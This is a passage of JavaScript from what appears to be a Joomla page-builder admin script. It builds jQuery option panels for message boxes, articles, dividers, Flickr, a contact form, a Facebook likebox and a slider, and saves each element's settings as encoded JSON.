		content+="<div class='row-fluid'>";
			content +="<div class='span12'>";
				content += getBt2Selectgroup('Message Type', 'st-type', 'span12', '', data.attr.type, [['--- Select a type ---','0'],['Warning','warning'],['Info','info'],['Error','error'],['Success','success'],['Dismissable','dismissable']], false);
				content += getBt2Inputgroup([['text', 'st-title_alert','span12','','Message link','Input your link', decodeURIComponent(data.attr.title)]], false);
				content += getBt2Textareagroup([['st-content_alert','span12','',decodeURIComponent(data.content),'Message', '5']], false);
			content +="</div>";

		content+="<div class='st-button-group'>";
			content+="<button class='btn btn-primary btn-save'>Save</button>";
			content+="<button class='btn btn-cancel'>Cancel</button>";
		content+="</div>";
	content+="</div>";
	jQuery('.st-navigation').html(content);
	jQuery('.st-nav-option button.btn-primary.btn-save').click(function(){
		if(testEmpty(jQuery('textarea[name="st-content_alert"]'))){
			alert('The Message must be not empty!');
			jQuery('textarea[name="st-content_alert"]').focus();
		}else{
			saveMessageBox();
		}
	});
}

function saveMessageBox(){
	var type_alert = jQuery('select[name="st-type"] option:selected').val();
	var title_alert = encodeURIComponent(convertHTML(jQuery('input[name="st-title_alert"]').val()));
	var content_alert = encodeURIComponent(convertHTML(jQuery('textarea[name="st-content_alert"]').val()));
	if(type_alert==0){
		alert('Please select a type !');
		return false;
	}
	data = {"type":"alert_desi","content":content_alert,"attr":{"type":type_alert,"title":title_alert}};
	var json = encodeURIComponent(JSON.stringify(data));
	jQuery('#st-page li.st-focus').attr("data",json);
	jQuery.stbox.close();
}
//  End Message Box Option

////////////////////////////////  Article Recent //////////////////////////////////////

// get Option Article Recent
function getArticleRecentOption(data){
	content ="<div class='st-nav-title'><i class='icon-newspaper'></i> Article Recent<span class='st-close' title='Close'><i class='icon-cancel-circle'></i></span></div>";
	content+="<div class='st-nav-option'>";
		content+="<label>Select category:</label>";
		content+="<div class='row-fluid st-category'></div>";
		content+="<label>Style:</label>";
        content+="<div class='row-fluid'><select class='st-style span12'>"; 
		content+='<option value="style-1">style-1</option>';
		content+='<option value="style-2">style-2</option>';
		content+="</select></div>";

		content+="<label>ID:</label>";
		content+="<div class='row-fluid'><input type='text' value='"+((data.attr.id_ar!=null)?data.attr.id_ar:"")+"' class='st-id span12' /></div>";

		content+="<label>Class:</label>";
		content+="<div class='row-fluid'><input type='text' value='"+((data.attr.class!=null)?data.attr.class:"")+"' class='st-class span12' /></div>";

		content+="<div class='st-isVisble'><label>Title Article recent:</label>";
		content+="<div class='row-fluid'><input type='text' value='"+data.attr.title+"' class='st-title_article span12' /></div>";
		content+="<label>Content Intro:</label>";
        content+="<div class='row-fluid'><textarea rows='6' class='st-content_article span12'>";
			content+=decodeURIComponent(data.content);
        content+="</textarea></div></div>";
		
		content+="<div class='st-button-group'>";
		content+="<button class='btn btn-primary btn-save'>Save</button>";
		content+="<button class='btn btn-cancel'>Cancel</button>";
		content+="</div>";
	content+="</div>";
	jQuery('.st-navigation').html(content);

	
	jQuery('.st-navigation .st-style option[value="'+data.attr.style+'"]').attr("selected","selected");
	jQuery('.st-navigation .st-type input[value="'+data.attr.type+'"]').attr("checked","checked");
	//console.log(data.attr.type);

	jQuery('.st-nav-option button.btn-primary.btn-save').click(function(){
		saveArticleRecent();
	});
}

function saveArticleRecent(){
	var title_article = jQuery('.st-navigation .st-nav-option .st-title_article').val();
	var content = encodeURIComponent(jQuery('.st-navigation .st-nav-option .st-content_article').val());
	var category_id = jQuery('.st-navigation .st-category select').val();
	var classarticle = jQuery('.st-navigation .st-class').val();
	var idarticle = jQuery('.st-navigation .st-id').val();
	data = {"type":"recent_article_desi","content":content,"attr":{"title":title_article,"category_id":category_id,"class":classarticle,"id_ar":idarticle}};
	var json = encodeURIComponent(JSON.stringify(data));
	jQuery('#st-page li.st-focus').attr("data",json);
	jQuery.stbox.close();
}	

//get option Article box
function getArticleBoxOption(data){
	content ="<div class='st-nav-title'><i class='icon-frame'></i> Article Box<span class='st-close' title='Close'><i class='icon-cancel-circle'></i></span></div>";
	content+="<div class='st-nav-option'>";
		content+="<label>Select Article from:</label>";
		content+=
			"<div class='row-fluid'><select class='st-extension span12'>" + 
				"<option value='com_k2'>com_k2</option><option value='com_content'>com_content</option>" + 
			"</select></div>";
		content+="<label>Articles:</label>";
		content+="<div class='row-fluid st-article'></div>";
		content+="<label>Type:</label>";
		content+=
			"<div class='row-fluid'><select class='st-type span12'>" + 
			  "<option value='outside'>Outside</option>" + 
			  "<option value='inside' selected='selected'>Inside</option>" + 
			"</select></div>";
		content+="<div class='st-button-group'>";
		content+="<button class='btn btn-primary btn-save'>Save</button>";
		content+="<button class='btn btn-cancel'>Cancel</button>";
		content+="</div>";
	content+="</div>";
	jQuery('.st-navigation').html(content);
	jQuery('.st-navigation .st-extension option[value="'+data.attr.extension+'"]').attr("selected","selected");
	jQuery('.st-navigation .st-type option[value="'+data.attr.type+'"]').attr("selected","selected");
	jQuery('.st-navigation .st-extension').change(function(){
		if(jQuery('.st-navigation .st-extension').val()=='com_k2'){
			jQuery('.st-navigation #st-element-contents').appendTo("#st-element");
			jQuery('#st-element #st-element-k2contents').appendTo(".st-navigation .st-article");
		}else{
			jQuery('.st-navigation #st-element-k2contents').appendTo("#st-element");
			jQuery('#st-element #st-element-contents').appendTo(".st-navigation .st-article");
		}
	});

	jQuery('.st-nav-option button.btn-primary.btn-save').click(function(){
		saveArticleBox();
	});
}

function saveArticleBox(){
	var extension = jQuery('.st-navigation .st-nav-option .st-extension').val();
	var article = jQuery('.st-navigation .st-nav-option .st-article select').val();
	var type = jQuery('.st-navigation .st-nav-option .st-type').val();
	data = {"type":"article_box_desi","content":"","attr":{"extension":extension,"article_id":article,"type":type}};
	var json = encodeURIComponent(JSON.stringify(data));
	jQuery('#st-page li.st-focus').attr("data",json);
	jQuery.stbox.close();
}
//End Article box

//Get Option Divider
function getDividerOption(data){
	content ="<div class='st-nav-title'><i class='icon-minus-2'></i> Divider<span class='st-close' title='Close'><i class='icon-cancel-circle'></i></span></div>";
	content+="<div class='st-nav-option'>";
		content+="<label>Style:</label>";
		content+="<div class='row-fluid'><select class='st-style span12'>"; 
			content+='<option value="none">None</option>';
			content+='<option value="border">Border</option>';
		content+="</select></div>";
		content+="<label>Class:</label>";
		content+="<div class='row-fluid'><input type='text' class='st-dclass span12' value='"+data.attr.dclass+"' placeholder='Class'><div>";
		
		content+="<label>Margin:</label>";
		content+="<div class='row-fluid'><input type='text' class='st-margin span12' value='"+data.attr.margin+"' placeholder='Margin'><div>";
		content+="<div class='st-button-group'>";
		content+="<button class='btn btn-primary btn-save'>Save</button>";
		content+="<button class='btn btn-cancel'>Cancel</button>";
		content+="</div>";
	content+="</div>";
	jQuery('.st-navigation').html(content);
	jQuery('.st-navigation .st-style option[value="'+data.attr.style+'"]').attr("selected","selected");
	jQuery('.st-navigation .st-dclass').val(data.attr.dclass);
	jQuery('.st-navigation .st-margin').val(data.attr.margin);
	jQuery('.st-nav-option button.btn-primary.btn-save').click(function(){
		saveDivider();
	});
}

function saveDivider(){
	var style = jQuery('.st-navigation .st-style').val();
	var dclass = jQuery('.st-navigation .st-dclass').val();
	var margin = jQuery('.st-navigation .st-margin').val();
	if(testNumber(margin)){
		data = {"type":"divider_desi","content":" ","attr":{"style":style,"margin":margin,"dclass":dclass}};
		var json = encodeURIComponent(JSON.stringify(data));
		jQuery('#st-page li.st-focus').attr("data",json);
		jQuery.stbox.close();
	}else{
		alert('Margin must be number format.');
		return false;
	}
}

//End Divider

// get Option flickr
function getFlickrOption(data) {
    content = "<div class='st-nav-title'><i class='icon-flickr'></i> Flickr<span class='st-close' title='Close'><i class='icon-cancel-circle'></i></span></div>";
    content += "<div class='st-nav-option'>";
    // row-fluid
    content += "<div class='row-fluid'>";
        // span6
        content += "<div class='span6'>";
            content += getBt2Inputgroup([['text', 'flickr-id','span12','','Id Images flickr - Link:','Link id image', data.attr.id],['text', 'flickr-title','span12','','Title','Title', data.attr.title],['text', 'flickr-description','span12','','Description','Description', data.attr.description],['text', 'flickr-limit','span6','','Limit','Limit', data.attr.limit]], false);
            
        content += "</div>";

        content += "<div class='span6'>";
                     
            content += getBt2Selectgroup('Image Fixed width', 'flickr-fixedwidth', 'span12', '', data.attr.fixedwidth, [['75x75', 's'],['Max 100', 't'],['Max 240', 'm'],['Max 1024', 'b']], false);
            content += "<div class='row-fluid'>";
                 content += "<div class='span6'>";
                        content += getBt2Inputgroup([['text','flickr-containerwidth','span12','','Container Width','Container Width', data.attr.containerwidth]],false);
                 content += "</div>";
                 content += "<div class='span6'>";
                        content += getBt2Inputgroup([['text','flickr-containerheight','span12','','Container Height','Container Height', data.attr.containerheight]],false);
                 content += "</div>";
                content += "</div>";

              content += "<div class='row-fluid'>";
              		content += getBtRadioCheckbox('Image Callback Function', 'st-callbackfx' ,data.attr.callbackfx , 'cycle' ,[['radio','inputbox','','cycle','Cycle'],['radio','inputbox','','cbox','ColorBox'],['radio','inputbox','','nocallback','No Callback']], false);
                    
              content += "</div>";
            content += "<div class='row-fluid'>";
                    content +="<div class='span6'>";
                        content += getBt2Selectgroup('Alignment','flickr-align','span12','', data.attr.align, [['Left','left'],['Center','center'],['Right','right']], false);
                    content +="</div>";
                    content += "<div class='span6'>";
                        content += getBt2Selectgroup('Column','flickr-column','span12','', data.attr.column, [['1','1'],['2','2'],['3','3'],['4','4'],['5','5'],['6','6'],['7','7'],['8','8'],['9','9'],['10','10']], false);
                    content +="</div>";
            content += "</div>";
        content += "</div>";

    content += "</div>";

    content += "<div class='st-button-group row-fluid'>";
    content += "<button class='btn btn-primary btn-save'>Save</button>";
    content += "<button class='btn btn-cancel'>Cancel</button>";
    content += "</div>";

    content += "</div>";

    jQuery('.st-navigation').html(content);
    if(data.attr.callbackfx && (data.attr.callbackfx == 'cycle')){
        jQuery('select[name="flickr-column"]').prop('disabled', true); 
    }
    jQuery('input[name="st-callbackfx"]').filter('[value="cycle"]').click(function(){
        jQuery('select[name="flickr-column"]').prop('disabled', true); 
    });
    jQuery('input[name="st-callbackfx"]').filter('[value!="cycle"]').click(function(){
        jQuery('select[name="flickr-column"]').prop('disabled', false); 
    });
    jQuery('.st-nav-option button.btn-primary.btn-save').click(function() {
        saveFlickr();
    });
}

function saveFlickr() {
    data = {"type": "flickr_desi", "content": "", "attr": {}};
    data.attr.containerwidth = parseFloat(jQuery('input[name="flickr-containerwidth"]').val());
    data.attr.containerheight = parseFloat(jQuery('input[name="flickr-containerheight"]').val());
    // data.attr.imagewidth = parseFloat(jQuery('input[name="flickr-imagewidth"]').val());
    // data.attr.imageheight = parseFloat(jQuery('input[name="flickr-imageheight"]').val());
    data.attr.id = jQuery('input[name="flickr-id"]').val();
    data.attr.limit = jQuery('input[name="flickr-limit"]').val();
    data.attr.title = jQuery('input[name="flickr-title"]').val();
    data.attr.description = jQuery('input[name="flickr-description"]').val();
    data.attr.callbackfx = jQuery('input[name="st-callbackfx"]:checked').val();
    data.attr.fixedwidth = jQuery('select[name="flickr-fixedwidth"] option:selected').val();
    data.attr.align = jQuery('select[name="flickr-align"] option:selected').val();
    // data.attr.fluid = jQuery('input[name="flickr-fluid"]:checked').val();
    if (jQuery('select[name="flickr-column"]').prop('disabled')) {
        data.attr.column = null;
    }else{
        data.attr.column = jQuery('select[name="flickr-column"] option:selected').val();
    }
    var json = encodeURIComponent(JSON.stringify(data));
    jQuery('#st-page li.st-focus').attr("data", json);
    jQuery.stbox.close();
}

//End Flickr

// BgVideo//
//function getBgVideoOption(data){
//	content ="<div class='st-nav-title'><i class='icon-film'></i> Background Video<span class='st-close' title='Close'><i class='icon-cancel-circle'></i></span></div>";
//    content+="<div class='st-nav-option'>";
//    content+="<div class='row-fluid'>";
//        content+="<div class='span12'>";
//            content += getBt2Inputgroup([['text','bgvideo-image','span12','','Image link','Image link',data.attr.imagelink,'images/badge.png'],['text','bgvideo-title','span12','','Title','Title',data.attr.title,'Background Video'],['text','bgvideo-id','span12','','Video ID','Video ID',data.attr.id,'81676731'],['text','bgvideo-volume','span12','','Volume','Volume',data.attr.volume,'50']], false);
//        content +="</div>";
//    content +="</div>";
//        content+="<div class='st-button-group'>";
//        content+="<button class='btn btn-primary btn-save'>Save</button>";
//        content+="<button class='btn btn-cancel'>Cancel</button>";
//        content+="</div>";
//    content+="</div>";
//    jQuery('.st-navigation').html(content);
//    jQuery('.st-nav-option button.btn-primary.btn-save').click(function(){
//        saveBgVideo();
//    });
//}
//
//function saveBgVideo(){
//	data = {"type":"bgvideo_desi","content":"","attr":{}};
//    data.attr.imagelink=jQuery('input[name="bgvideo-image"]').val();
//    data.attr.title=jQuery('input[name="bgvideo-title"]').val();
//    data.attr.id=jQuery('input[name="bgvideo-id"]').val();
//    data.attr.volume=jQuery('input[name="bgvideo-volume"]').val();
//    var json = encodeURIComponent(JSON.stringify(data));
//    jQuery('#st-page li.st-focus').attr("data",json);
//    jQuery.stbox.close();
//}

// End BgVideo

// get Option Contact Form 
function getContactOption(data){
	content ="<div class='st-nav-title'><i class='icon-mail-6'></i> Contact Form<span class='st-close' title='Close'><i class='icon-cancel-circle'></i></span></div>";
    content+="<div class='st-nav-option'>";
    content+="<div class='row-fluid'>";
        content+="<div class='span6'>";
            content += getBt2Inputgroup([['text','contact-title','span12','','Title','Title',data.attr.title,'Contact Us']], false);
            content += getBt2Textareagroup([['contact-description','span12','',data.attr.description,'Description','3','']], false);
            //content += getBt2Inputgroup([['text','contact-email','span12','','Email','Email',data.attr.email,'hello@domain.inc'],['text','contact-subject','span12','','Subject','Subject',data.attr.subject,'We are online from 09.00 - 18.00, Mountain Time'],['text','contact-thanks','span12','','Thanks Message','Thans Message',data.attr.thanks,'Thanks for contacting us']], false);
            
            content+="<label>State:</label>";
			content+="<div class='st-state st-radio'>"; 
				content+='<label class="radio inline"><input type="radio" name="st-state" value="0" >No</label>';
				content+='<label class="radio inline"><input type="radio" name="st-state" value="1" checked="checked">Yes</label>';
			content+="</div>";
        content +="</div>";
			
        content+="<div class='span6'>";
			 content += getBt2Inputgroup([['text','contact-email','span12','','Email','Email',data.attr.email,'hello@domain.inc'],['text','contact-subject','span12','','Subject','Subject',data.attr.subject,'We are online from 09.00 - 18.00, Mountain Time'],['text','contact-thanks','span12','','Thanks Message','Thans Message',data.attr.thanks,'Thanks for contacting us'],['text','contact-sclass','span12','','Section class','Section class',data.attr.sclass,''],['text','contact-sid','span12','','Prefix Language','EN',data.attr.sid,''],['text','contact-cclass','span12','','Container class','Container class',data.attr.cclass,'']], false);
            //content += getBt2Inputgroup([['text','contact-subscribe-link','span12','','Subscribe Link','Subscribe Link',data.attr.subscribelink,'shinetheme.com'],['text','contact-subscribe-message','span12','','Subscribe Message','Subscribe Message',data.attr.subscribemessage,'We are releasing amazing newsletters each month'],['text','contact-grabnewletter-link','span12','','Grab NewLetter Link','Grab NewLetter Link',data.attr.grabnewletterlink,'shinetheme.com'],['text','contact-followus-link','span12','','Follow Us Link','Follow Us Link',data.attr.followuslink,'shinetheme.com'],['text','contact-followus-message','span12','','Follow Us Message','Follow Us Message',data.attr.followusmessage,'We are always active on twitter'],['text','contact-username-link','span12','','Username Link','Username Link',data.attr.usernamelink,'usernamelink']], false);
        content +="</div>";
    content +="</div>";
        
        
        content+="<div class='st-button-group'>";
        content+="<button class='btn btn-primary btn-save'>Save</button>";
        content+="<button class='btn btn-cancel'>Cancel</button>";
        content+="</div>";
    content+="</div>";
    jQuery('.st-navigation').html(content);
    
    if(typeof data.attr.captcha !='undefined'){
		jQuery('#st-navigation .st-captcha [value="'+data.attr.captcha+'"]').prop('checked', true);
	}
    if(typeof data.attr.state !='undefined'){
		jQuery('#st-navigation .st-state [value="'+data.attr.state+'"]').prop('checked', true);
	}
    jQuery('.st-nav-option button.btn-primary.btn-save').click(function(){
        saveContactForm();
    });
}

function saveContactForm(){
	data = {"type":"contact_desi","content":"","attr":{}};
	data.attr.captcha = jQuery('#st-navigation .st-captcha input[type="radio"]:checked').val();
	data.attr.state = jQuery('#st-navigation .st-state input[type="radio"]:checked').val();
    data.attr.title=jQuery('input[name="contact-title"]').val();
    //data.attr.address=jQuery('input[name="contact-address"]').val();
//    data.attr.phone=jQuery('input[name="contact-phone"]').val();
//    data.attr.fax=jQuery('input[name="contact-fax"]').val();
    data.attr.description=jQuery('textarea[name="contact-description"]').val();
    data.attr.email=jQuery('input[name="contact-email"]').val();
    data.attr.subject=jQuery('input[name="contact-subject"]').val();
    data.attr.thanks=jQuery('input[name="contact-thanks"]').val();
    data.attr.sid=jQuery('input[name="contact-sid"]').val();
    data.attr.sclass=jQuery('input[name="contact-sclass"]').val();
    data.attr.cclass=jQuery('input[name="contact-cclass"]').val();
    var json = encodeURIComponent(JSON.stringify(data));
    jQuery('#st-page li.st-focus').attr("data",json);
    jQuery.stbox.close();
}

// End Contact Form 

// get Option like box 
function getFb_likbeboxOption(data){
	content ="<div class='st-nav-title'><i class='icon-facebook-4'></i> Facebook likebox<span class='st-close' title='Close'><i class='icon-cancel-circle'></i></span></div>";
	content+="<div class='st-nav-option'>";
		content +="<div class='row-fluid'>";
			content +="<div class='span6'>";
				content += getBt2Inputgroup([['text', 'st-linkpage','span12','','Facebook Link','Facebook Link Page', data.content],['text', 'st-widthbox','span12','','Width','Width', data.attr.width, 300],['text', 'st-heightbox','span12','','Height','Height (default: auto)', data.attr.height]],false);
				content += getBt2Selectgroup('Color Scheme', 'st-colorScheme', 'span12', '', data.attr.colorscheme, [['Light', 'light'],['Dark', 'dark']], false);
				content += getBt2Selectgroup('Language', 'st-language', 'span12', '', data.attr.language, [['US', 'en_us'],['Korea', 'ko_KR'],['France', 'fr_FR'],['Japanese', 'ja_JP'],['Italian', 'it_IT'],['VietNamese', 'vi_VN']], false);
			content +="</div>";
			content +="<div class='span6'>";
				content+="<label>Show faces:</label>";
				content+="<div class='st-showfaces st-radio'>"; 
					content+='<label class="radio inline"><input type="radio" name="st-showfaces" value="true" checked="checked">Yes</label>';
					content+='<label class="radio inline"><input type="radio" name="st-showfaces" value="false">No</label>';
				content+="</div>";
		       
		        content+="<label>Show header:</label>";
		        content+="<div class='st-showheader st-radio'>"; 
					content+='<label class="radio inline"><input type="radio" name="st-showheader" value="true" checked="checked">Yes</label>';
					content+='<label class="radio inline"><input type="radio" name="st-showheader" value="false">No</label>';
				content+="</div>";
		        
				content+="<label>Show stream:</label>";
				content+="<div class='st-showstream st-radio'>"; 
					content+='<label class="radio inline"><input type="radio" name="st-showstream" value="true" checked="checked">Yes</label>';
					content+='<label class="radio inline"><input type="radio" name="st-showstream" value="false">No</label>';
				content+="</div>";
		        
				content+="<label>Show border:</label>";
				content+="<div class='st-showborder st-radio'>"; 
					content+='<label class="radio inline"><input type="radio" name="st-showborder" value="true" checked="checked">Yes</label>';
					content+='<label class="radio inline"><input type="radio" name="st-showborder" value="false">No</label>';
				content+="</div>";
			content +="</div>";
		content +="</div>";

		content+="<div class='st-button-group'>";
			content+="<button class='btn btn-primary btn-save'>Save</button>";
			content+="<button class='btn btn-cancel'>Cancel</button>";
			content+="</div>";
	content+="</div>";
	jQuery('.st-navigation').html(content);
	jQuery('#st-navigation .st-showfaces [value="'+data.attr.showfaces+'"]').prop('checked', true);
	jQuery('#st-navigation .st-showheader [value="'+data.attr.showheader+'"]').prop('checked', true);
	jQuery('#st-navigation .st-showstream [value="'+data.attr.showstream+'"]').prop('checked', true);
	jQuery('#st-navigation .st-showborder [value="'+data.attr.showborder+'"]').prop('checked', true);
	jQuery('.st-nav-option button.btn-primary.btn-save').click(function(){
		saveLikebox();
	});
}

function saveLikebox(){
	var width = jQuery('input[name="st-widthbox"]').val();
	var height = jQuery('input[name="st-heightbox"]').val();
	if(!testNumber(width)){
		alert('Width must be number format.');
		return false;
	}
	if(height!=""){
		if(!testNumber(height)){
			alert('Height must be number format.');
			return false;
		}
	}
	data = {"type":"fb_likebox_desi","content":"","attr":{}};
	data.content=jQuery('input[name="st-linkpage"]').val();
	data.attr.width=width;
	data.attr.height=height;
	data.attr.showfaces=jQuery('input[name="st-showfaces"]:checked').val();
	data.attr.showheader=jQuery('input[name="st-showheader"]:checked').val();
	data.attr.showstream=jQuery('input[name="st-showstream"]:checked').val();
	data.attr.showborder=jQuery('input[name="st-showborder"]:checked').val();
	data.attr.colorscheme=jQuery('select[name="st-colorScheme"] option:selected').val();
	data.attr.language=jQuery('select[name="st-language"] option:selected').val();
	var json = encodeURIComponent(JSON.stringify(data));
	jQuery('#st-page li.st-focus').attr("data",json);
	jQuery.stbox.close();
}
//  End likebox Option



// get Option Slider
function getSliderOption(data){
	content ="<div class='st-nav-title'><i class='icon-image'></i> slider<span class='st-close' title='Close'><i class='icon-cancel-circle'></i></span></div>";
	content+="<div class='st-nav-option st-slider-option'>";
		content+='<ul class="nav nav-tabs" id="tabpopup">';
			content+='<li class="active"><a href="#getimage"><i class="icon-images"></i>Select Images</a></li>';
			content+='<li><a href="#config"><i class="icon-cog-2"></i>Config</a></li>';
		content+='</ul>';
		content+='<div class="tab-content">';
			//Select Image
			content+='<div class="tab-pane active" id="getimage">';
				content+='<div class="row-fluid">';
					content+='<div class="span5">';
                        
						content+='<label>Path:</label><input type="text" class="st-path" value="images/" /><button class="btn btn-primary st-go" type="button" >Go</button>';
						content+='<div class="st-dragimage">'; 
							content+='<div id="st-load"><div class="st-loadding"><i class="icon-spinner-5 icon-spinning"></i></div>';
							content+='<div class="st-mark"></div></div>';
							content+='<ul id="dragImage">';
							content+='</ul>';
						content+='</div>';
					content+='</div>';
					content+='<div class="span2">';
						content+='<span>Drag and Drop</span>';
					content+='</div>';
					content+='<div class="span5">';
						content+='<strong>Drag & Drop images here:</strong>';
						content+='<div class="st-sortimage"><ul id="sortImage">';
						for(var i=0;i<data.content.length;i++){
							content+='<li class="st-selectimage" data-desc="'+((data.content[i].attr.desc!=null)?data.content[i].attr.desc:"")+'" data-title="'+((data.content[i].attr.title!=null)?data.content[i].attr.title:"")+'" data-bg-image="'+((data.content[i].attr.bg_image!=null)?data.content[i].attr.bg_image:"")+'" data-link-text="'+((data.content[i].attr.link_text!=null)?data.content[i].attr.link_text:"")+'" data-link="'+((data.content[i].attr.link!=null)?data.content[i].attr.link:"")+'" data-short-title="'+((data.content[i].attr.short_title!=null)?data.content[i].attr.short_title:"")+'" data-show-image="'+((data.content[i].attr.show_image!='undefined')?data.content[i].attr.show_image:"true")+'">';
								content+='<i class="icon-cancel-circle "></i>';
								content+='<img data-site="'+data.content[i].content+'" src="'+data.content[i].attr.linkadmin+'" />';
							content+='</li>';
						}
						content+='</ul></div>';
						content+='<div class="st-desc-item">';
							content+='<label>Title:</label>';
							content+='<div class="row-fluid"><input type="text" class="st-desc-title span12" /></div>'
							content+='<label>Description:</label>';
							content+='<div class="row-fluid">';
								content+='<textarea class="span12 st-desc-content" rows="3"></textarea>';
							content+='</div>';
                            //content+='<label>Link Text:</label>';
//							content+='<div class="row-fluid"><input type="text" class="st-desc-link-text span12" /></div>'
							content+='<label>Link:</label>';
							content+='<div class="row-fluid"><input type="text" class="st-desc-link span12" /></div>'
//                            content+='<label>Show Image:</label>';
//    						content+='<div class="row-fluid"><select class="st-desc-show-image span6">';
//    							content+='<option value="true">True</option>';
//    							content+='<option value="false">False</option>';
//    						content+='</select></div>';							
       
						content+='</div>';
					content+='</div>';
				content+="</div>";
			content+='</div>';
			//End Select Image
			content+='<div class="tab-pane" id="config">';
				content+='<div class="row-fluid">';
					content+='<div class="span6">';
//                        content+='<label>Title:</label>';
//						content+='<div class="row-fluid"><input type="text" class="st-title span6" value="'+((data.attr.title!=null)?data.attr.title:"")+'" /></div>';
//						content+='<label>Short description:</label>';
//						content+='<div class="row-fluid"><input type="textare" class="st-sdesc span6" value="'+((data.attr.sdesc!=null)?data.attr.sdesc:"")+'" /></div>';
						content+='<label>Section Id:</label>';
						content+='<div class="row-fluid"><input type="text" class="st-sid span6" value="'+((data.attr.sid!=null)?data.attr.sid:"")+'" /></div>';
						content+='<label>Section Class:</label>';
						content+='<div class="row-fluid"><input type="text" class="st-sclass span6" value="'+((data.attr.sclass!=null)?data.attr.sclass:"")+'" /></div>';
//						content+='<label>Heading Class:</label>';
//						content+='<div class="row-fluid"><input type="text" class="st-class span6" value="'+((data.attr.class!=null)?data.attr.class:"")+'" /></div>';
//						content+='<label>Background image:</label>';
//						content+='<div class="row-fluid"><input type="text" class="st-bg span6" value="'+((data.attr.bg!=null)?data.attr.bg:"")+'" /></div>';
						content+='<div class="row-fluid">';
                            content += getBt2Selectgroup('Show Image:', 'st-slider-show-image', 'span6', '', data.attr.showimg, [['True','1'],['False','0']], false);
                        content+='</div>';
						//content+='<label>Interval:</label>';
						//content+='<div class="row-fluid"><input type="text" class="st-interval span6" value="'+data.attr.interval+'" /></div>';
						//content+='<label>Auto:</label>';
						//content+='<div class="row-fluid"><select class="st-auto span6">';
						//	content+='<option value="true">True</option>';
						//	content+='<option value="false">False</option>';
						//content+='</select></div>';
                        content+='<div class="row-fluid">';
                            content += getBt2Selectgroup('Template', 'st-slider-template', 'span6', '', data.attr.template, [['jcarousel','slider_owl_carousel']], false);
                        content+='</div>';
					content+='</div>';
					//content+='<div class="span6">';
//						content+='<label>Type Slider:</label>';
//						content+="<div class='st-typeslider st-radio'>"; 
//							content+='<label class="radio "><input type="radio" name="st-pancontrol" value="2" checked="checked">Camera</label>';
//							content+='<label class="radio "><input type="radio" name="st-pancontrol" value="3">Flex</label>';
//							content+='<label class="radio "><input type="radio" name="st-pancontrol" value="4">Nivo</label>';
//							content+='<label class="radio "><input type="radio" name="st-pancontrol" value="5">Elastic</label>';
//							content+='<label class="radio "><input type="radio" name="st-pancontrol" value="6">Accordion</label>';
//							content+='<label class="radio "><input type="radio" name="st-pancontrol" value="7">carousel Box</label>';
//						content+="</div>";
//					content+='</div>';
				content+='</div>';
			content+='</div>';
		content+='</div>';
        

		content+="<div class='st-button-group'>";
    		content+="<button class='btn btn-primary btn-save'>Save</button>";
    		content+="<button class='btn btn-cancel'>Cancel</button>";
		content+="</div>";
	content+="</div>";
	jQuery('.st-navigation').html(content);

	sliderSelectImage();
	jQuery('#st-navigation .st-typeslider [value="'+((data.attr.typeslider!=null)?data.attr.typeslider:"1")+'"]').prop('checked', true);
	//jQuery('#st-navigation .st-auto [value="'+data.attr.auto+'"]').attr("selected","selected");
    jQuery('#st-navigation .st-show-image [value="'+data.attr.show_image+'"]').attr("selected","selected");
	jQuery('#tabpopup a').click(function (e) {
		e.preventDefault();
		jQuery(this).tab('show');
	});
	jQuery('#st-navigation .st-go').click(function(){
		loadImages(jQuery("#st-navigation .st-path").val());
	});
	
	jQuery('#sortImage [class^="icon-"]').click(function(){
		jQuery(this).parent().remove();
	});
	jQuery('.st-nav-option .st-button-group button.btn-primary.btn-save').click(function(){
		saveSlider();
	});
}

function sliderSelectImage(){
	jQuery('.st-navigation #sortImage .st-selectimage').click(function(){
		//console.log(encodeURIComponent('Lorem ipsum dolor sit amet, consectetur adipisicing elit. Sed cumque distinctio labore minima ipsum fugit aspernatur dolore deserunt iure sunt officiis iusto <span class="color-text">itaque rerum reprehenderit laborum</span> dignissimos iste assumenda dolorem?'))
		jQuery('.st-navigation #sortImage .st-selectimage').removeClass('selected');
		jQuery(this).addClass('selected');
		jQuery('.st-navigation .st-desc-item .st-desc-title').val(String(jQuery(this).attr('data-title')));
		jQuery('.st-navigation .st-desc-item .st-desc-short-title').val(jQuery(this).attr('data-short-title'));
		jQuery('.st-navigation .st-desc-item .st-desc-bg-image').val(jQuery(this).attr('data-bg-image'));
		jQuery('.st-navigation .st-desc-item .st-desc-show-image').val(jQuery(this).attr('data-show-image'));
        jQuery('.st-navigation .st-desc-item .st-desc-link-text').val(jQuery(this).attr('data-link-text'));
        jQuery('.st-navigation .st-desc-item .st-desc-link').val(jQuery(this).attr('data-link'));
        jQuery('.st-navigation .st-desc-item .st-desc-content').val((jQuery(this).attr('data-desc')!=null)?decodeURIComponent(jQuery(this).attr('data-desc')):"");
	});
	jQuery('.st-navigation .st-desc-item .st-desc-title').keyup(function() {
		jQuery('.st-navigation #sortImage .st-selectimage.selected').attr("data-title",String(jQuery(this).val()));
	});
    jQuery('.st-navigation .st-desc-item .st-desc-bg-image').keyup(function() {
		jQuery('.st-navigation #sortImage .st-selectimage.selected').attr("data-bg-image",String(jQuery(this).val()));
	});
    jQuery('.st-navigation .st-desc-item .st-desc-show-image').change(function() {
		jQuery('.st-navigation #sortImage .st-selectimage.selected').attr("data-show-image",jQuery(this).val());
        
	});
    jQuery('.st-navigation .st-desc-item .st-desc-short-title').keyup(function() {
		jQuery('.st-navigation #sortImage .st-selectimage.selected').attr("data-short-title",jQuery(this).val());
	});
    jQuery('.st-navigation .st-desc-item .st-desc-link-text').keyup(function() {
		jQuery('.st-navigation #sortImage .st-selectimage.selected').attr("data-link-text",jQuery(this).val());
	});
    jQuery('.st-navigation .st-desc-item .st-desc-link').keyup(function() {
		jQuery('.st-navigation #sortImage .st-selectimage.selected').attr("data-link",jQuery(this).val());
	});    
	jQuery('.st-navigation .st-desc-item .st-desc-content').keyup(function() {
		jQuery('.st-navigation #sortImage .st-selectimage.selected').attr("data-desc",encodeURIComponent(jQuery(this).val()));
	});
}

function saveSlider(){
		data = {"type":"slider_desi","content":[],"attr":{}};
        data.attr.template = jQuery('select[name="st-slider-template"] option:selected').val();
        data.attr.showimg = jQuery('select[name="st-slider-show-image"] option:selected').val();
		data.attr.class=jQuery('#st-navigation .st-class').val();
		data.attr.title=jQuery('#st-navigation .st-title').val();
		data.attr.sid=jQuery('#st-navigation .st-sid').val();
		data.attr.sclass=jQuery('#st-navigation .st-sclass').val();
		data.attr.sdesc=jQuery('#st-navigation .st-sdesc').val();
